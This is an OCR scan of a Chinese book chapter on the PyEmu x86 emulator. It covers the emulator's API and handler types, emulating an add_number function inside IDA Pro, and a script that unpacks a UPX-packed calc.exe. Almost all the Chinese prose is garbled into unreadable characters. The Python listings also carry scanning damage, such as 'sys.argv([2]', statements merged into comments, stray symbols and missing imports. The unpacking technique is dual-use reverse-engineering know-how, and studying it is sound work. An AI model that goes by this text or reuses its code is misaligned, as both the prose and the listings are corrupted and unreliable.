K REG IR BRI R R K B BAS, A SR R R #RAE . X —UI4E 1 PyEmu S fit
I B R BB, AT EATRELEIRATI X AN ) TAR AR AR 5, R R R PATIRURE 2
AR EIE R NAFEE . TR — M HEA

12.2.4 AT HAE

PyEmu AT FE H— AN 2%, execute()o JEALUNTF:
execute( steps=1, start=0x0, end=0x0 )

A, MR- DEBRA R, B PyEmu ZHT R BIITME AT . XA HhE



YF /& PyDbg [ EIP Z /7258 MM B, 72 PEPyEmu JNE AT TR P N I HihE,
VFJ& IDA Pro YoArFTALIIAL & o start N EEHAT HIHLAE, steps NHATHIFE L EE, end &S
L

12.2.5 WAFMEFaiRlE

1B URTRS 2R 25 A7 2 5 WA OB ZE T ) R A2 P R B 2. PyEmu B EATT R T 4 25
WAE, HRAF & (stack variables), %2 #%{(stack arguments), Zffas. WAFER/EH get memory()
F1 set memory()5¢ il -

get_memory( address, size )
set_memory( address, value, size=0 )

get_memory() ER F4% L 2 4> S address N E B WAL, size N EIRMGFEIE KD
set_memoey() 71 5t 5 AN, address NE ANKIHbE, value NEANHIME, size NE AT
Ko

AN R TR B R B ZE A 22, EE A0 DTARMESE R B2 HORN A H AT 8 PR A 2 R

set_stack_argument( offset, value, name="")
get_stack argument( offset=0x0, name=""")
set_stack_variable( offset, value, name=""")
get_stack variable( offset=0x0, name=""")

set_stack_argument()f¥] offset #HX} 5 ESP, FHFXf& N &S H0 AT 0% . 7EHAE
L FEH AT LR AL AT AT IR ) 44 5 o get stack argument()if i offset 5 5& FIAHXS T ESP KI5
R SHE, BE LR €M name(HT 2 1E set_stack _argument FHEHE 7)3R1G . i 77 =X
wr:

set_stack_argument( 0x8, 0x12345678, name="arg_0" )
get_stack_argument( 0x8 )
get_stack _argument( "arg 0" )

set stack variable()Fl get stack variable()J#EE/EHARAUE T offset ;& XS T EBP(U1 R 7t
VFRIRE) LA, BN EATT 7 53R s J5 3 AR & .

12.2.6 A FE R

SRR R AL T — AR K B R R R A, T
WL, BENEBSAEF R EE45. PyEmu A 8 N EACHRE:  register AbFHpR%Y,
library AbEEpR%Y, exception ALPH K%Y, instruction ALPE K%L, opcode AbEH PR %L, memory AbEH



PR %Y, high-level memory AbEEpRELF program counter A0 ¥ pf 5. L FRATTERIE ) T i F & —
NRE, ZERANY EEAEMFIEAT.

12.2.6.1 Register A3 %%
Register Handlers ZF £ 45 A0 PR ik 4, H T I AT T 2 AE 28 B 038 . R B F A7 48 1 18 3
B il & Register Handlers. 2225 77 :0 U1 -

set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )

LARUF A, R A B R T, SRR
def register_handler_function( emu, register, value, type ):

2 LT BR B R R, BT E S35 X PyEmu 4£ N, 55— S 30k /& PyEmu SZ45)
Y, BERTERY, DSLTFERIE, type & FRATX ERME AL RS . BAA T /R
SR X R W R F A2 2 A K H A, BT EIRIS AL H R B R e
1i7s

12.2.6.2 Library At g3

Library handle 4B pR 4, RELLIRATHA T A RSN ZE AT, fEENIROR T ERE 7 2
AR E AT, IXAE L REAR 5 (S8 B i b o 2 R B 1 5 s DA SR IR . 2225 R

set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_process_handler )
set_library_handler(""LoadLibraryA", leadlibrary)

J2E Kb P R A SR A R
def library_handler_function( emu, library, address ):

F—NSH L PyEmu W52 . library NERATAEE AR, S5 FE, B =AJEMR
BOWh B 7E A7 A R

12.2.6.3 Exception A3 i %k

Exception Handlers & A2 o8 HUF 28 — F A F A" A0 #E R AR AL . PyEmu 1/ E 2% 10
S 2% Exception Handlers FIA R« 48T PyEmu SCFFIE AR5, k2 IR T6E0%
AL FRAE AR P AT AR N AF U . e 7 0 R



set_exception_handler( "GP", gp_exception_handler )
Exception AbEEpR£E AL U1T -
def gp_exception_handler( emu, exception, address ):

[FFE, 5E—NZ%0U2 PyEmu SE], exception A5 XS, address A5 &A= L.
12.2.6.4 Instruction b3 R

Instruction Handlers 84 4bHEpR %, R58K, FNE REIIR LA € 484 . 1% Cody
7f BlackHat i BE/R IFREE, FRAEWSIEIT 2235 —A4> CMP $84 HIALEE pR 2L, R WAL BEANFE P i
FERISr S AW, FFRIEHIEAT.

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

Instruction ALEE R EUHE AW -
def cmp_instruction_handler( emu, instruction, opl, op2, op3 ):

F—NSHMIHZ PyEmu 3241, instruction NABHATIIFE S, HAF=/NERR T RERE
XA

12.2.6.5 Opcode b3 i 5

Opcode handlers # /EfD b2 o8 FURTHE 4 4 2E b8 23R FHABL, AT Ao — AR E IR A E RSt B
AT, #2 U H Opcode handlers. JXFEFRATOACHD 4 il sl AL ARG 1o BF—AH8 4
A AT REA A F AR AR T E AT s H T 4, B, PUSH EAX B #:1ERD & 0x50,
M PUSH 0x70 B #AEID 2 0x6A, Gl KBRS HEIELHZ 0x6AT0, 41 N 7R:

50 PUSH EAX
6A70 PUSH 0x70

EATIR 2258 7 R AR T B
set_opcode_handler( opcode, opcode_handler )

set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my_push_70_handler )



S AN S U E AR B BRI R E R AR, 5 A SO R A B R T
FEATEREIANBR T BAS275, WA BLR 23X A7, A AN — . A B R R A R

def opcode_handler( emu, opcode, opl, op2, op3 ):

%—/ PyEmu SEH, JSTHIAF 2 3. opcode R FIMHEAERD, T =2 4E4
A REAE BN THEN B

12.2.6.6 Memory b3 %5

Memory handlers P4 17403 bR 20H T BR R4 Hubk A3 U7 7). e ek 3RATTIR 7 (8 A ER
ERLZ I X ORI B DA R 4 R AR B ORI R . el R R

set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

address fij BLAE NFRATAHE WL () N A7k,  my memory handler & 3RATT )AL 2 bR
. REJEAMT:

def memory_handler( emu, address, value, size, type )

B ANSH address MKWV HbE, value /287 2B E 5 NHIEHE, size 2%
PR, type S UFRATX IREAEIRIE RS .

12.2.6.7 High-Level Memory #b ¥ i %

High-Level Memory Handlers 2% W AF AL R B4, R =R 980K .l e eifi], R4
A M ALIX A AR CRLFEARAIHE) HIBS o IXFESERE A THI 4 6 AU ], A 2R AN
& 2T

set_memory_write_handler( memory_write_handler )
set_memory_read handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )

set_stack_write_handler( stack_write_handler )
set_stack_read_handler( stack_read_handler )
set_stack_access_handler( stack_access_handler )

set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )



set_heap_access_handler( heap_access_handler )

JITA A 326 16 22 2 bR R ] B 3R 3t — > Kb B R Bl AT DA T AR T N AR AR B A 2 d
FATo ACH R B R A0

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):

memory write_handler Al memory read handler } /& fiij #. i 4% UL PyEmu SEBIF1 & 4525
FIHshk . 25 = access handler Z | — type F T 156 BHIX IR AN 1) A2 B2 B0 B 0 S He 250
H FIHE 1 A 3 o H5OFD b T —#F, AU

12.2.6.8 Program Counter At %

The program counter handler F2J7 11 4U#s A0 BE R £, 5 7E L 7 PAT B HE 2 Hbu bk 11 B 4% e
Ko ZEEAFEUT

set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678_pc_handler )

address AFA VK E WAL HIE, — H CPU $47 Bk 2 il A FRAT TR Ab B ek B . 4B 3
PR SR AL R

def pc_handler( emu, address ):

/NS address NHHETE R I bE .

MEFRACEVHETE 7, PyEmu FIZEREENN . R2EEEEMTH LR TR T 8T
K HATHANSEYS . 55— AM# A IDAPyEmu £ IDA Pro #5548l — AN S B B . 55 =4
SIS S PEPyEmu fi# & — /M UPX R4t (9 CHER IR IR 4627 ) b i SO

123 IDAPyEmu

AT — M) T 5L /2 72 IDA Pro 3 AR e I, {8 FH PyEmu )7 50— X ] B 1) R £
WH . XL IR T /2 addnum.exe, FZINREMZE N 247 HHESRAS S48, 85 HH
m, e R, R C+4i5, Tl http://www.nostarch.com/ghpython.htm. %X

/*addnum.cpp*/



#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
int add number( int numl, int num?2 )
{
int sum;
sum = numl + num?2;
return sum;
H
int main(int argc, char* argv[])
{
int numl, num?2;
int return_value;
if( argc <2)
{
printf(" You need to enter two numbers to add.\n");
printf("addnum.exe num1 num2\n");
return 0;
} numl = atoi(argv[1]);
num?2 = atoi(argv[2]);
return_value = add number( numl, num?2 );
printf("Sum of %d + %d = %d",num1, num2, return_value );

return 0;

FE 7 ¥ 24T RN S B e O £, 28 )5 T H add_number B8 ECHH 0. FATTK
add_number FREAE NN BT G, B9 E 88 i Has RIWIRE 5 WE, 1EAIRAME
H PyEmu FIE SR RS

TEIR N PyEmu 2 #/, iLFATEFE add number I K-l

var_4= dword ptr -4 # sum variable
arg 0=dwordptr 8 # int numl
arg 4=dwordptr O0Ch # int num2

push ebp

mov ebp, esp

push ecx

mov eax, [ebptarg 0]

add eax, [ebptarg 4]

mov [ebptvar 4], eax
mov eax, [ebptvar 4]
mov esp, ebp

pop ebp

retn



Listing 12-1: add_number ]I 4%/0HG

var 4, arg 0, arg 4 D ARSHARTIAE, M CHIIRICHgARRS R IS E A
H, A RBIPATRE, NS R BATEEH PyEmu {5 BEA R, W&
A VgAY, R E arg 0 Fl arg 4 NIRATTH BEFUTEATEL &5 retn iR [B] I H%,
3k EAX MH, w2 iR EME . BRI sR BT o T 5, AN AN Hd A
it — VI ek B0 L R, — 8 A

1231 B E
HIEM AL S, H— 2\ PyEmu 2R E 1B .

#addnum_function_call.py
import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import *

WEIFERARZ G, MEITER B S RS 1. BRI i rr, A
BRANE e S B AR, DMED AR HIEAT . BUVEATZAE ] IDAPython fii#kiX L4
B, WAHKRBANERFY:, ERRE 5, AR,

#addnum_function_call.py

emu = IDAPyYEmu()

# Load the binary's code segment
code_start = SegByName(".text")
code end = SegEnd( code start)

while code start <= code end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1)
code start+=1

print "[*] Finished loading code section into memory."

# Load the binary's data segment
data_start = SegByName(".data")
data_end = SegEnd( data_start)

while data_start <= data_end:

emu.set_memory( data_start, GetOriginalByte(data_start), size=1)



data_start +=1
print "[*] Finished loading data section into memory."

A8 FHATATT 7 B0 48 7 15 2 A #0640 5251 4k — > IDAPYEmu X 5. 4535 ¥4 AR BRI H4fE B
InEdE PyEmu BN AF, 4RI HSERAET 7 m JIUE . {3 F IDAPython ] SegByName() ek (4
HIE, SegEnd(FRHitRE . SRJF— A — DT X L i #E % D1 E] PyEmu (94 17
Ho ARRSAIEE RIS N e G, MR ERSH T, RESHTUMERRE, REH %%
— > retn 5 AL T R £

#addnum_function_call.py

# Set EIP to start executing at the function head emu.set_register("EIP", 0x00401000)

# Set up the ret handler emu.set mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call emu.set stack argument(0x8, 0x00000001,
name="arg_0")

emu.set_stack argument(0xc, 0x00000002, name="arg_4")

# There are 10 instructions in this function emu.execute( steps = 10 )

print "[*] Finished function emulation run."

5K EIP #5103 BBk, 0x00401000, PyEmu 17 E a5 WX BITIAHATIR S . 558,
TERREI retn 84 L1k B BhiCfF (mnemonic) 8l # 5 4 4 1 pF £ (set_instruction handler).
=, WEERSH UM R B . 751X B % 8 i 000000001 FT 0x00000002. )5 il PyEmu
PAT TE AR 10 4740 . BRI,

#addnum_function_call.py
import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import *
defret handler(emu, address): num1 = emu.get stack argument("arg 0")
num2 = emu.get stack argument("arg 4")
sum = emu.get register("EAX")
print "[*] Function took: %d, %d and the result is %d." % (numl, n

return True

emu = IDAPyYEmu()

# Load the binary's code segment

code_start = SegByName(".text")

code end = SegEnd( code start)

while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1)
code start+=1

print "[*] Finished loading code section into memory."

# Load the binary's data segment



data_start = SegByName(".data")
data_end = SegEnd( data_start)
while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=1)
data_start +=1
print "[*] Finished loading data section into memory."
# Set EIP to start executing at the function head
emu.set_register("EIP", 0x00401000)
# Set up the ret handler
emu.set_mnemonic_handler("ret", ret_handler)
# Set the function parameters for the call
emu.set_stack argument(0x8, 0x00000001, name="arg_0")
emu.set_stack argument(0xc, 0x00000002, name="arg_4")
# There are 10 instructions in this function
emu.execute( steps = 10 )

print "[*] Finished function emulation run."

ret 454 Ab B bR H ] 500 15 B UK B AR S O EAX (4H, &5 FRIG BT IHT BN oK.
H IDA 1% addnum.exe, %4 J5K PyEmu A 4 {F IDAPython LA . Hrth 45 84 a0 F -

*] Finished loading code section into memory.
*] Finished loading data section into memory.
*] Function took 1, 2 and the result is 3.

]

*] Finished function emulation run.

— — —

Listing 12-2: IDAPyEmu 1/j 2 B8 $ i %y 1B

MREFAR T BEAN S RRAR KT, B S BNk (M AR 3R, U B ek 07 Rl 1 1
BE— GRS, AR CUINEAS R RS, BENLIE R — D R BOEAT 05 5, AR5 AU 553
A8 0 Y B AR TSR P o S — R, S RIB R A L TAT R B I i, AR AT
IEREFARMTCEI 70 3, TEMIEA A RIHR B P ERRUE R, BT S AOOE 1, B
PRIE O T RALIRATH PEPYEmu B2 fift e — B 45 S0

12.3.2PEPyEmu

PEPyEmu FEH T AT HAT XA FF S 708 (A 72 IDA Pro). B/ Ab B R At fe W i it
AT HAT SO BN AE T, ARG pydasm BEATHE ARG . R IR, FRATKE
W7 AR IBAT — A R4 A AT SO, SRS TR ORI SR AR S e A7 BB, B o X ol
FH )R 46 30 2F 5t /& UPX(Ultimate Packer for Executables), — @ K IRIE46 844, [FH
se B R AR AT, P T B R ) R 4 nT AT SO, [RIRF O BE AR 3 A FH Sk ik 2 4
Mra& . 748 B € X PyEmu A ( Cody Pierce $&4it X RE 47 & 2 10, iEIRATE B K46
2B TAER .



123354 RRF

JEAEFEF R OA . B RAERANVEA 1.44 BEL QIR R 48 F2 7 5t FH RS vl g 1>
FEF RN A BRATR AR Bl BT 50, B S RmEE, X WA S o
R R — A EEE 7, HRER R . — DB R AR T 26 H bR R2 T r AR5 B
AR Bt AT 48, SRIEHEN I RO B e ARG o SRR P AT I, AR a2
S GBS IR N AE, SR BEE R 45 N 1 55 OEP(original entry point ), FFIH 1EH BT FEF
TEFRATT AT AT ] PR 28 3 RO FE 7 2 /T, AR A AT T o I I8 (R 2 A8 2 FH X 28 58
RKIUES (KAEMFE P, AN BUE I 8 — TSN R RS, A28k
fift RS AR R A . FRE AR ? T AR . PUOATRATHE A IR B AT AR, T
SN A GRS DLRI 5 A8 g AT, NGRS B AR R S, FE3E PR R I R
BREFF, FeinRIEEA B DUSELARERS W oA el 1.

X IRFATIREE UPX B4 calc.exe. 2R H PyEmu fi#JEE, &5 dump HoK. 10fFXH
FEFEREE R TR RS T, AN EHR.

12.3.4 UPX

UPX ;2 Y, ZFFHER, 740 (Linux Windows....). #EEAFEIKEGEL 5], A
VFZ MBI, M T 58 BSOS R R R 48T 55 - FRAEHBOARI R 48 5 %, #ik /R ml b=
R o

M http://upx.sourceforge.net %% UPX.
R B3 C %, BHHRARMEIEAME, B RIS\ 217#E. $THF CMD, 2k
AR H 3] Clupx303w(tH & UPX fRIER H %), WALL N4

C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser ~ Apr 27th 2008

File size Ratio Format Name

114688 > 56832  49.55% win32/pe calc_upx.exe

Packed 1 file.
C:\upx303w>

DI E4E T Windows [1iH54s, JEHFAER 7 C T
-0 M ARE, fREmH A, TR, & TE] T PEPyEmu 5 1.

12.3.5 f#if] PEPyEmu fi#/ £ UPX



UPX JEZE ] PATFE R TR I8 8] 7 . E RN A, T8 RMREART, BN
TN AN B, UPX0 #1 UPX1
o 3 A Immunity 17 E 4652 56 2 A7 A JRI(ALT-M), B 2 & 240 R AU e

Address Size Owner Section Contains Access Initial Access

00100000 00001000 calc_upx PE Header R RWE

01001000 00019000 calc_upx UPXO0 RWE RWE

0101A000 00007000 calc_upx UPXI1 code RWE RWE

01021000 00007000 calc_upx .rsrc data,imports RW RWE
resources

Listing 12-3: UPX 452 J5 R F RN AR R,

UPX1 Eon hRagse, @ d 7 EZEMEARmE. RiB2d UPX1 MR G, ik
H UPX1 3, BAIER Al $ATAIS R, FFAEHATIR T . FRATEM B B2 Lk AR s 1T
A, [FIEAET R BIP AT IMP, 4% 3L IMP $5 41415 EIP H3a B H UPX1 B[
16, Uk B Bk 2 Fan RS B T .

T RIFMGERIDMI GRS, X RIAT R AL PEPyEmu k.

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import PEPyEmu

# Commandline arguments
exename = sys.argv[1]
outputfile = sys.argv([2]

# Instantiate our emulator object
emu = PEPyEmu()

if exename:

# Load the binary into PyEmu if not emu.load(exename):
print "[!] Problem loading %s" % exename
sys.exit(2)

else:
print "[!] Blank filename specified"
sys.exit(3) # Set our library handlers
emu.set_library handler("LoadLibraryA", loadlibrary)
emu.set_library handler("GetProcAddress", getprocaddress)
emu.set_library handler("VirtualProtect", virtualprotect)
# Set a breakpoint at the real entry point to dump binary emu.set mnemonic_handler( "jmp",
jmp_handler )
# Execute starting from the header entry point



emu.execute( start=emu.entry point )

% — B K 46 SC % #F PyEmu . 5 ¥, 7£ LoadLibraryA, GetProcAddress,
VirtualProtect — ™A1 152 B FE ACER R A0 . 1% 28 bR B CE AR ARRS R Y, X e AR A 40
BAE O RS ER. =00, EMERETPAT AR BEE] OEP BBk, FATK
TR BIHEAE, XAMES A IMP fa 2 B R BE . 85 & VR 48, ARG 7 k0
THEEPHAT RS

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu

sys.path.append("C:\\PyEmu")

sys.path.append("C:\\PyEmu\\lib")

from PyEmu import PEPyEmu

HMODULE WINAPI LoadLibrary(
_in LPCTSTR IpFileName

);
def loadlibrary(name, address):
# Retrieve the DLL name
dllname =emu.get memory_string(emu.get memory(emu.get register("ESP")
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dllname)
emu.set_register("EAX", dllhandle)
# Reset the stack and return from the handler
return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get register("ESP") + 8)
emu.set_register("EIP", return_address)
return True
FARPROC WINAPI GetProcAddress(
_in HMODULE hModule,
_in LPCSTR IpProcName
);
" def getprocaddress(name, address):
# Get both arguments, which are a handle and the procedure name
handle = emu.get memory(emu.get register("ESP") + 4)
proc_name = emu.get_ memory(emu.get register("ESP") + §)

# IpProcName can be a name or ordinal, if top word is null it's an ordinal
# IpProcName ] 16 72 null F I, B 815 (2 A ki), 5 2 52 44 7
if (proc_name >> 16):



procname = emu.get memory_string(emu.get memory(emu.get register("ESP") + 8))
else:
procname = arg2
#IX arg2 AN H1IE AT T 5K, B 1% /& procname = proc_name

# Add the procedure to the emulator
emu.os.add library(handle, procname)
import_address = emu.os.get library address(procname)
# Return the import address
emu.set_register("EAX", import_address)
# Reset the stack and return from our handler
return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get register("ESP") + 8)
#IX B RIZAE r("ESP") + 8, BRUNHE WA SH T P
emu.set_register("EIP", return_address)
return True
BOOL WINAPI VirtualProtect(
in LPVOID IpAddress,
_in  SIZE T dwSize,
_in  DWORD fINewProtect,
__out PDWORD IpflOldProtect
);
" def virtualprotect(name, address):
# Just return TRUE
emu.set_register("EAX", 1)

# Reset the stack and return from our handler

return_address = emu.get memory(emu.get_register("ESP"))

emu.set_register("ESP", emu.get register("ESP") + 16)

emu.set_register("EIP", return_address)

return True
# When the unpacking routine is finished, handle the JMP to the OEP def jmp handler(emu,
mnemonic, eip, opl, op2, op3):

# The UPX1 section

if eip < emu.sections["UPX1"]["base"]:
print "[*] We are jumping out of the unpacking routine."
print "[*] OEP = 0x%08x" % eip
# Dump the unpacked binary to disk
dump_unpacked(emu)
# We can stop emulating now
emu.emulating = False

return True



LoadLibrary 4P pf B AR H i $2 2 H B DLL 94 %, SRJGEH ctypes J& B8 £t
{THIER) LoadLibraryA 1AM, X/NeREH kernel32.dll FH . AR RIhIREE, AL is
45 BAX ZA7ay, TR HARAR, SR EACERHGRE. AR, GetProcAddress b3 iR
BNAR TR B BB A 2 B (arg2) s AR G TE 7 A% 34T B S2 19 1A B (emu.os.add library 1
emu.os.get library address) , X /> PR % tH H kernel32.dll 5 H (2 %At W BLfE H
windllkernel32.GetProcAddress) . 2 Ji 1% Mo hiE 77 i B EAX, 8 %k (X B 5 4 & 1 1
emu.set_register("ESP", emu.get_register("ESP") + 8), AL H T MW INSH, NiZ£&+12), B
[Fl. 2 =/ VirtualProtect XbEEpR %k, HRIEFEEAIREI— True (A, & H LS —FEIRGHE
AR EF IR ] o 2 B DR, 2 RO BRATTAS 75 250 IR B R4 A AR B A DT s FRATIE
5 B ORAE ] FLA5 R I VirtualProtect A AR IR B3, &% f5 I IMP 484 b B oR £ 7 — AN
RN, e B MR EACD B, G BkE, A dump unpacked i ACRD F4 fif B A
fit b ZEE IR EAT TR, MR TAEER T -

FIHEE /& dump unpacked AXHS .
#upx_unpacker.py

def dump_unpacked(emu):
global outputfile
th = open(outputfile, 'wb')
print "[*] Dumping UPXO0 Section"
base = emu.sections["UPX0"]["base"]
length = emu.sections["UPX0"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x"% (base, length)
for x in range(length):
th.write("%c" % emu.get memory(base + x, 1))
print "[*] Dumping UPX1 Section"
base = emu.sections["UPX1"]["base"]
length = emu.sections["UPX1"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x" % (base, length)
for x in range(length):
th.write("%c" % emu.get memory(base + x, 1))
print "[*] Finished."

FATH FER AR UPX0 A1 UPX1 BANBFRIS 5 AN F . — B30 dump %3, 5t
REMS A IE R — AR e 7. T AR E AL S

C:\>C:\Python25\python.exe upx_unpacker.py C:\calc_upx.exe calc_clean.exe
[*] We are jumping out of the unpacking routine.
[*] OEP = 0x01012475
[*] Dumping UPXO0 Section
[*] Base: 0x01001000 Vsize: 00019000
[*] Dumping UPX1 Section
[*] Base: 0x0101a000 Vsize: 00007000
[*] Finished.
\

C:\»>



Listing 12-4:upx_unpacker.py #4175 H

MIERATE T — DRI K calc.exe —HFE[H cale_clean.exe. KINE i, AL AWM
EEESAFRTBERE, MEAAZFERESFEFEL,
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